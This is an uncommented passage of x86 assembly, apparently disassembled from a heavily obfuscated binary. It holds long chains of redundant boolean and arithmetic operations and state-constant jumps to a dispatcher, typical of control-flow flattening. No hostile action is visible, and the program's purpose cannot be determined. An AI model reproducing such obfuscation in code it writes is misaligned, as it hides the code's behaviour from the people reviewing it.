mov byte [ebp - 0xccc], al
mov al, byte [ebp - 0xccd]
and cl, dh
or bl, al
mov al, byte [ebp - 0xccc]
or al, cl
mov cl, byte [ebp - 0xccb]
xor bl, al
mov al, byte [ebp - 0xcca]
or al, cl
mov cl, byte [ebp - 0xcc9]
xor al, 0xff
or dh, 1
and al, dh
or bl, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0xcc8], al
mov al, 1
xor al, 0
and cl, al
mov dh, bl
xor dh, 0xff
and dh, 0
and bl, al
mov al, byte [ebp - 0xcc8]
or al, cl
mov cl, byte [ebp - 0xcc7]
or dh, bl
xor al, dh
mov byte [ebp - 0xcc2], al
mov al, dl
and al, ch
xor dl, ch
or al, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and al, ch
or dl, al
mov ch, 1
xor ch, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0xcc3], al
mov bl, 1
xor bl, 0
mov dh, ch
and dh, 0
mov al, bl
and al, 1
mov byte [ebp - 0xcc6], al
mov al, byte [ebp - 0xcc3]
and al, 0
mov byte [ebp - 0xcc5], al
mov al, byte [ebp - 0xcc6]
and cl, bl
or dh, al
mov al, byte [ebp - 0xcc5]
or al, cl
mov cl, byte [ebp - 0xcc4]
xor dh, al
mov al, byte [ebp - 0xcc3]
or ch, al
mov al, byte [ebp - 0xcc2]
xor ch, 0xff
or bl, 0
and ch, bl
or dh, ch
xor dl, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or dl, dh
or ch, 0
xor dl, 0xff
and dl, ch
mov ch, al
and ch, dl
xor al, dl
or ch, al
mov dl, cl
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov al, cl
and al, dh
or dl, al
xor dl, 0xff
mov al, ch
xor al, dl
and al, ch
mov dl, ch
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and ch, dh
or dl, ch
xor dl, 0xff
mov bl, cl
xor bl, dl
and bl, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0xcc1], dl
mov ch, bl
xor ch, 0xff
mov cl, 1
xor cl, 1
and dl, 0xff
and al, cl
mov dh, ch
and dh, 0xff
and bl, cl
or dl, al
mov al, byte [ebp - 0xcc1]
or dh, bl
xor dl, dh
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
mov dh, ah
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or al, dh
or cl, ch
xor al, cl
mov byte [ebp - 0xcc0], al
mov ch, bh
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov dh, bh
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov al, 1
xor al, 1
and al, 1
mov bl, 1
xor bl, 1
mov cl, bl
and cl, 1
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or al, cl
mov cl, byte [ebp - 0xcc0]
or dh, bl
xor al, dh
mov byte [ebp - 0xcbe], al
mov dh, 1
xor dh, 1
mov bl, cl
xor bl, dh
and bl, cl
xor ah, 0xff
xor al, 0xff
mov dh, 1
xor dh, 1
or ah, al
mov al, byte [ebp - 0xcbe]
or dh, 1
xor ah, 0xff
and ah, dh
mov byte [ebp - 0xcbf], ah
mov dh, 1
xor dh, 1
mov ah, ch
xor ah, dh
and ah, ch
xor bh, 0xff
xor al, 0xff
mov dh, 1
xor dh, 1
or bh, al
mov al, byte [ebp - 0xcbf]
or dh, 1
xor bh, 0xff
and bh, dh
mov dh, bl
and dh, al
xor bl, al
mov al, byte [ebp - 0xcbe]
or dh, bl
mov bl, ah
and bl, bh
xor ah, bh
or bl, ah
mov bh, dh
xor bh, 0xff
mov ah, bl
and ah, bh
xor bl, 0xff
and dh, bl
or ah, dh
mov dh, cl
and dh, ch
xor cl, ch
or dh, cl
mov bh, dh
xor bh, 0xff
and bh, 0
mov ch, 1
xor ch, 0
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or bh, dh
or cl, ch
xor bh, cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0xcbb], cl
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
and cl, 0
mov bl, ch
and bl, 1
mov byte [ebp - 0xcbd], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0xcbc], al
mov al, byte [ebp - 0xcbd]
or cl, al
mov al, byte [ebp - 0xcbc]
or bl, al
mov al, byte [ebp - 0xcbb]
xor cl, bl
or al, dh
xor al, 0xff
or ch, 0
and al, ch
or cl, al
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov al, ah
xor al, 0xff
mov ch, bh
xor ch, 0xff
mov cl, 1
xor cl, 0
mov bl, al
and bl, 0
and ah, cl
mov dh, ch
and dh, 0
and bh, cl
or bl, ah
mov ah, byte [ebp - 0xcba]
or dh, bh
xor bl, dh
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or bl, al
mov ch, bl
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov dh, bl
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov cl, 1
xor cl, 1
xor ch, 0xff
mov al, 1
xor al, 0
or cl, ch
or al, 0
xor cl, 0xff
and cl, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
xor bl, 0xff
mov ch, bh
xor ch, 0xff
mov al, 1
xor al, 0
or bl, ch
or al, 0
xor bl, 0xff
and bl, al
mov al, 1
xor al, 1
and al, 1
mov ch, 1
xor ch, 1
and ch, 1
or al, ch
xor al, 0xff
mov dh, 1
xor dh, 1
mov ch, 1
xor ch, 0
or al, dh
or ch, 0
xor al, 0xff
and al, ch
mov dh, 1
xor dh, 1
xor bh, 0xff
mov ch, 1
xor ch, 0
or dh, bh
or ch, 0
xor dh, 0xff
and dh, ch
mov ch, cl
and ch, bl
xor cl, bl
or ch, cl
mov cl, al
and cl, dh
xor al, dh
or cl, al
mov dh, ch
xor dh, 0xff
and dh, 0
mov bl, 1
xor bl, 0
and ch, bl
mov al, cl
xor al, 0xff
and al, 0
and cl, bl
or dh, ch
or al, cl
xor dh, al
mov al, 1
xor al, 0
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov bh, 1
xor bh, 0
and bh, 1
mov bl, 1
xor bl, 1
mov ch, bl
and ch, 0
mov cl, ah
xor cl, 0xff
and cl, 0xff
and ah, bl
or bh, ch
or cl, ah
xor bh, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0xcb9], cl
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
and cl, 0xff
and al, ah
mov bl, ch
and bl, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0xcb9]
or bl, bh
xor cl, bl
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov al, dh
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, dh
or ah, ch
xor al, ah
mov bh, cl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and cl, ah
or bh, cl
mov cl, 1
xor cl, 1
and cl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov byte [ebp - 0xcb8], cl
mov cl, al
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dh, cl
and dh, 0
and al, ah
mov bl, ch
and bl, 0
and bh, ah
or dh, al
mov al, byte [ebp - 0xcb8]
or bl, bh
xor dh, bl
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or dh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, dh
or al, ch
xor ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf3b3cb52
mov ecx, 0x5bcbe7b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov dword [ebp - 0x1a8], 0xe0f00bd1
jmp 0x4b4ff5
mov dl, byte [ebp - 0x41]
mov eax, 0xfb760813
mov ecx, 0xcf3af9ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x130]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 8]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x130]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x34], eax
mov ecx, dword [0x6525dc]
mov eax, dword [0x6525d8]
xor esi, esi
sub esi, 0x3a5545a5
add esi, 0x70f4c293
add esi, 0x3a5545a5
xor edx, edx
sub edx, 1
add esi, edx
add esi, 0x8fce392b
sub esi, 0x70f4c293
sub esi, 0x8fce392b
mov edx, ecx
sub edx, 0x38d0195e
sub edx, 0xc0b3e1da
add edx, 0x38d0195e
add edx, 0xdbf23b82
add edx, esi
sub edx, 0xdbf23b82
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xc0b3e1da
add esi, edx
xor edx, edx
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl al
mov byte [ebp - 0xe6e], al
mov bh, bl
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or bh, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov cl, ah
xor cl, 0xff
mov al, bl
xor al, cl
and al, bl
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or dl, dh
or cl, ch
xor dl, cl
mov ch, 1
xor ch, 1
mov cl, dl
xor cl, ch
and cl, dl
mov byte [ebp - 0xe81], cl
mov cl, 1
xor cl, 1
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov ah, bh
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov dl, ah
and dl, 0xff
and bh, ch
mov byte [ebp - 0xe83], bh
mov bh, dh
and bh, 0xff
and al, ch
mov byte [ebp - 0xe82], al
mov al, byte [ebp - 0xe83]
or dl, al
mov al, byte [ebp - 0xe82]
or bh, al
mov al, byte [ebp - 0xe81]
xor dl, bh
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or dl, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0xe80], ah
mov dh, cl
xor dh, 0xff
mov ch, 1
xor ch, 0
and ah, 0
and al, ch
mov bh, dh
and bh, 0
and cl, ch
or ah, al
mov al, byte [ebp - 0xe80]
or bh, cl
mov cl, byte [ebp - 0xe6e]
xor ah, bh
or al, dh
xor al, 0xff
or ch, 0
and al, ch
or ah, al
mov ch, dl
xor ch, 0xff
mov al, ah
and al, ch
xor ah, 0xff
and dl, ah
or al, dl
mov byte [ebp - 0xe59], al
mov bh, cl
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or bh, al
xor bh, 0xff
xor bh, 0
and bh, 0
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov ah, dl
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov cl, 1
xor cl, 1
and cl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
xor cl, 0xff
mov ch, 1
xor ch, 0
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov byte [ebp - 0xe7d], cl
mov ah, 1
xor ah, 1
xor dl, 0xff
mov cl, 1
xor cl, 1
or ah, dl
or cl, 1
xor ah, 0xff
and ah, cl
mov cl, bh
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, cl
and dl, 0
and bh, ch
mov byte [ebp - 0xe7f], bh
mov bh, dh
and bh, 0
and al, ch
mov byte [ebp - 0xe7e], al
mov al, byte [ebp - 0xe7f]
or dl, al
mov al, byte [ebp - 0xe7e]
or bh, al
mov al, byte [ebp - 0xe7d]
xor dl, bh
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or dl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and dl, ch
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ch
or ah, dl
or al, cl
xor ah, al
mov dl, 1
xor dl, 1
and dl, 0
mov cl, 1
xor cl, 0
mov ch, cl
and ch, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ch
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov dl, 1
xor dl, 1
xor ch, 0xff
mov al, 1
xor al, 0
or dl, ch
or al, 0
xor dl, 0xff
and dl, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0xe7c], al
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 1
and al, 0xff
and cl, ch
mov bh, dh
and bh, 0xff
and dl, ch
or al, cl
mov cl, byte [ebp - 0xe7c]
or bh, dl
mov dl, byte [ebp - 0xe59]
xor al, bh
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or al, cl
mov byte [ebp - 0xe51], al
mov ch, 1
xor ch, 1
and ch, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or ch, bh
or cl, dh
xor ch, cl
mov cl, dl
xor cl, 0xff
mov dh, ch
and dh, cl
xor ch, 0xff
mov cl, dl
and cl, ch
or dh, cl
xor dh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or dh, dl
or cl, 1
xor dh, 0xff
and dh, cl
mov cl, bl
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
and bl, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or cl, bl
or dl, ch
xor cl, dl
mov ch, al
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
and al, dl
or ch, al
mov al, 1
xor al, 0
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
or al, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0xe79], cl
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 0
and cl, 0
mov bh, ch
and bh, 0
mov byte [ebp - 0xe7b], bh
mov bh, bl
and bh, 0
and al, ch
mov byte [ebp - 0xe7a], al
mov al, byte [ebp - 0xe7b]
or cl, al
mov al, byte [ebp - 0xe7a]
or bh, al
mov al, byte [ebp - 0xe79]
xor cl, bh
or al, bl
xor al, 0xff
or ch, 0
and al, ch
or cl, al
mov al, dl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dl, ch
or al, dl
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov al, ah
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
mov bl, ah
and bl, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, bl
or cl, dl
xor al, cl
mov byte [ebp - 0xe78], al
mov cl, 1
xor cl, 1
and cl, 0
mov dl, 1
xor dl, 0
mov bl, dl
and bl, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, bl
or al, dl
xor cl, al
mov dl, 1
xor dl, 0
and dl, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 0
mov bl, 1
xor bl, 1
and bl, 0xff
and bh, 1
or dl, al
mov al, byte [ebp - 0xe78]
or bl, bh
xor dl, bl
mov byte [ebp - 0xe75], dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0xe74], dl
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
and dl, 0
and al, bl
mov byte [ebp - 0xe77], al
mov al, bh
and al, 0
mov byte [ebp - 0xe76], al
mov al, byte [ebp - 0xe77]
and cl, bl
or dl, al
mov al, byte [ebp - 0xe76]
or al, cl
mov cl, byte [ebp - 0xe75]
xor dl, al
mov al, byte [ebp - 0xe74]
or al, bh
xor al, 0xff
or bl, 0
and al, bl
or dl, al
mov bh, 1
xor bh, 0
mov byte [ebp - 0xe70], bh
mov al, cl
xor al, 0xff
mov byte [ebp - 0xe71], al
mov bl, 1
xor bl, 1
and bh, 0xff
mov al, bl
and al, 0
mov byte [ebp - 0xe73], al
mov al, byte [ebp - 0xe71]
and al, 0xff
mov byte [ebp - 0xe72], al
mov al, byte [ebp - 0xe73]
and cl, bl
or bh, al
mov al, byte [ebp - 0xe72]
or al, cl
mov cl, byte [ebp - 0xe71]
xor bh, al
mov al, byte [ebp - 0xe70]
or al, cl
mov cl, byte [ebp - 0xe6e]
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov bl, dl
xor bl, 0xff
and bl, 1
mov al, 1
xor al, 1
and dl, al
mov al, byte [ebp - 0xe51]
or bl, dl
xor bl, 0xff
xor bh, 0xff
mov dl, 1
xor dl, 1
or bl, bh
or dl, 1
xor bl, 0xff
and bl, dl
mov bh, al
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and al, dl
or bh, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0xe6f], al
mov al, 1
xor al, 0
and cl, al
mov dl, bh
xor dl, 0xff
and dl, 0
and bh, al
mov al, byte [ebp - 0xe6f]
or al, cl
mov cl, byte [ebp - 0xe6e]
or dl, bh
xor al, dl
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov cl, dh
xor cl, 0xff
mov dl, ch
xor dl, 0xff
mov al, 1
xor al, 0
or cl, dl
or al, 0
xor cl, 0xff
and cl, al
mov dl, dh
xor dl, 0xff
and dl, 0
mov al, 1
xor al, 0
mov byte [ebp - 0xe6d], al
and dh, al
mov al, ch
xor al, 0xff
and al, 0
mov byte [ebp - 0xe6c], al
mov al, byte [ebp - 0xe6d]
and ch, al
mov al, byte [ebp - 0xe6c]
or dl, dh
or al, ch
xor dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0xe5e], al
mov dl, bl
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or dl, al
mov dh, bh
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov ch, bh
and ch, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, ch
or al, cl
xor dh, al
mov ch, 1
xor ch, 1
and ch, 0
mov cl, 1
xor cl, 0
mov al, cl
and al, 1
mov byte [ebp - 0xe6b], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0xe6a], al
mov al, byte [ebp - 0xe6b]
and cl, 1
or ch, al
mov al, byte [ebp - 0xe6a]
or al, cl
xor ch, al
mov cl, 1
xor cl, 1
mov al, dl
xor al, cl
and al, dl
mov byte [ebp - 0xe69], al
mov cl, ch
xor cl, 0xff
mov al, bl
xor al, cl
mov cl, byte [ebp - 0xe69]
and al, bl
mov byte [ebp - 0xe68], al
mov bl, 1
xor bl, 1
mov al, dh
xor al, bl
and al, dh
mov byte [ebp - 0xe60], al
mov al, ch
xor al, 0xff
mov bl, bh
xor bl, al
mov al, byte [ebp - 0xe68]
and bl, bh
mov bh, cl
xor bh, 0xff
xor al, 0xff
mov byte [ebp - 0xe62], al
mov al, 1
xor al, 1
mov byte [ebp - 0xe61], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xe66], al
mov al, byte [ebp - 0xe61]
and cl, al
mov al, byte [ebp - 0xe68]
mov byte [ebp - 0xe67], cl
mov cl, byte [ebp - 0xe62]
and cl, 0xff
mov byte [ebp - 0xe64], cl
mov cl, byte [ebp - 0xe61]
and al, cl
mov cl, byte [ebp - 0xe67]
mov byte [ebp - 0xe65], al
mov al, byte [ebp - 0xe66]
or al, cl
mov cl, byte [ebp - 0xe65]
mov byte [ebp - 0xe63], al
mov al, byte [ebp - 0xe64]
or al, cl
mov cl, byte [ebp - 0xe63]
xor cl, al
mov al, byte [ebp - 0xe62]
or bh, al
mov al, byte [ebp - 0xe61]
xor bh, 0xff
or al, 1
and bh, al
mov al, byte [ebp - 0xe60]
or cl, bh
mov bh, al
and bh, bl
xor al, bl
or bh, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0xe5f], al
mov al, 1
xor al, 0
and cl, al
mov bl, bh
xor bl, 0xff
and bl, 0
and bh, al
mov al, byte [ebp - 0xe5f]
or al, cl
mov cl, byte [ebp - 0xe5e]
or bl, bh
xor al, bl
mov bh, dl
and bh, dh
xor dl, dh
or bh, dl
mov dl, bh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or dl, bh
or dh, bl
xor dl, dh
mov dh, ch
and dh, 1
xor ch, 1
or dh, ch
xor dh, 0xff
mov ch, dl
xor ch, dh
and ch, dl
mov dl, al
and dl, ch
xor al, ch
or dl, al
mov dh, cl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov bl, cl
and bl, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dh, bl
or al, ch
xor dh, al
mov al, 1
xor al, 1
xor dh, 0xff
mov ch, 1
xor ch, 0
or al, dh
or ch, 0
xor al, 0xff
and al, ch
mov byte [ebp - 0xe5d], al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
xor cl, 0xff
mov dh, ch
xor dh, 0xff
mov al, 1
xor al, 1
or cl, dh
or al, 1
xor cl, 0xff
and cl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov bh, 1
xor bh, 1
mov al, dl
and al, bh
mov bl, 1
xor bl, 1
and bl, 0xff
and bh, 1
or dh, al
mov al, byte [ebp - 0xe5d]
or bl, bh
xor dh, bl
xor dh, 0xff
mov bh, 1
xor bh, 1
mov bl, 1
xor bl, 1
or dh, bh
or bl, 1
xor dh, 0xff
and dh, bl
mov byte [ebp - 0xe5a], dh
xor ch, 0xff
mov dh, dl
xor dh, ch
and dh, dl
mov ch, al
xor ch, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dl, ch
and dl, 0
and al, bl
mov byte [ebp - 0xe5c], al
mov al, bh
and al, 0
mov byte [ebp - 0xe5b], al
mov al, byte [ebp - 0xe5c]
and cl, bl
or dl, al
mov al, byte [ebp - 0xe5b]
or al, cl
mov cl, byte [ebp - 0xe5a]
xor dl, al
mov al, byte [ebp - 0xe59]
or ch, bh
xor ch, 0xff
or bl, 0
and ch, bl
or dl, ch
mov ch, cl
and ch, dh
xor cl, dh
or ch, cl
mov dh, dl
xor dh, 0xff
mov cl, ch
and cl, dh
xor ch, 0xff
and dl, ch
or cl, dl
mov byte [ebp - 0xe52], cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov dl, al
and dl, ch
or cl, dl
mov byte [ebp - 0xe56], cl
mov bh, ah
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
mov dl, ah
and dl, ch
or bh, dl
mov ch, 1
xor ch, 0
and ch, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 0
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or ch, bl
or dl, dh
xor ch, dl
mov byte [ebp - 0xe55], ch
xor cl, 0xff
mov dh, 1
xor dh, 0
mov dl, 1
xor dl, 1
or cl, dh
or dl, 1
xor cl, 0xff
and cl, dl
mov dh, ch
xor dh, 0xff
mov dl, al
xor dl, dh
and dl, al
mov al, 1
xor al, 0
mov bl, bh
xor bl, al
and bl, bh
xor ch, 0xff
mov al, ah
xor al, ch
and al, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, cl
and dl, 0
and bl, ch
mov byte [ebp - 0xe58], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0xe57], al
mov al, byte [ebp - 0xe58]
or dl, al
mov al, byte [ebp - 0xe57]
or bl, al
mov al, byte [ebp - 0xe56]
xor dl, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or dl, cl
mov ch, ah
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
and ah, dh
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, dh
or ch, ah
or cl, dl
xor ch, cl
mov cl, al
xor cl, 0xff
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 0
mov dh, cl
and dh, 0
and al, dl
mov bl, ah
and bl, 0
and bh, dl
or dh, al
mov al, byte [ebp - 0xe55]
or bl, bh
xor dh, bl
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or dh, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
mov ah, 1
xor ah, 0
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov dl, ah
and dl, 0
mov bh, dh
and bh, 0
mov byte [ebp - 0xe54], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0xe53], al
mov al, byte [ebp - 0xe54]
or dl, al
mov al, byte [ebp - 0xe53]
or bh, al
mov al, byte [ebp - 0xe52]
xor dl, bh
or ah, bl
xor ah, 0xff
or dh, 0
and ah, dh
or dl, ah
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov cl, ch
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 1
mov dl, cl
and dl, 0xff
and ch, ah
mov bl, dh
and bl, 0xff
and bh, ah
or dl, ch
mov ch, byte [ebp - 0xe51]
or bl, bh
xor dl, bl
or cl, dh
xor cl, 0xff
or ah, 1
and cl, ah
or dl, cl
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov cl, dl
and cl, ah
or dh, cl
mov cl, 1
xor cl, 1
xor dh, 0xff
mov ah, 1
xor ah, 0
or cl, dh
or ah, 0
xor cl, 0xff
and cl, ah
mov dh, 1
xor dh, 1
and dh, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and bl, 1
or dh, bh
or ah, bl
xor dh, ah
xor dh, 0xff
mov ah, dl
xor ah, dh
and ah, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov cl, 1
xor cl, 1
mov dh, ch
xor dh, 0xff
mov ah, 1
xor ah, 0
or cl, dh
or ah, 0
xor cl, 0xff
and cl, ah
mov dh, 1
xor dh, 1
mov ah, ch
and ah, dh
xor ch, 0xff
and ch, 1
or ah, ch
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov ch, dh
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or ch, dh
or cl, ah
xor ch, cl
mov cl, dl
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
mov dh, dl
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0
and ch, bl
or cl, dh
or ah, ch
xor cl, ah
xor dl, 0xff
mov ah, cl
xor ah, dl
and ah, cl
mov bl, al
xor bl, 0xff
and bl, 0
mov dl, 1
xor dl, 0
mov ch, al
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bl, ch
or cl, dl
xor bl, cl
mov dh, ah
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov cl, ah
and cl, dl
or dh, cl
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
and cl, 1
or bh, cl
mov dl, bl
xor dl, 0xff
mov ch, 1
xor ch, 1
mov cl, 1
xor cl, 0
or dl, ch
or cl, 0
xor dl, 0xff
and dl, cl
mov cl, bh
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov al, dh
xor al, 0xff
mov byte [ebp - 0xe50], al
mov cl, 1
xor cl, 1
mov al, 1
xor al, 1
mov byte [ebp - 0xe4f], al
mov al, byte [ebp - 0xe50]
or al, cl
mov cl, byte [ebp - 0xe4f]
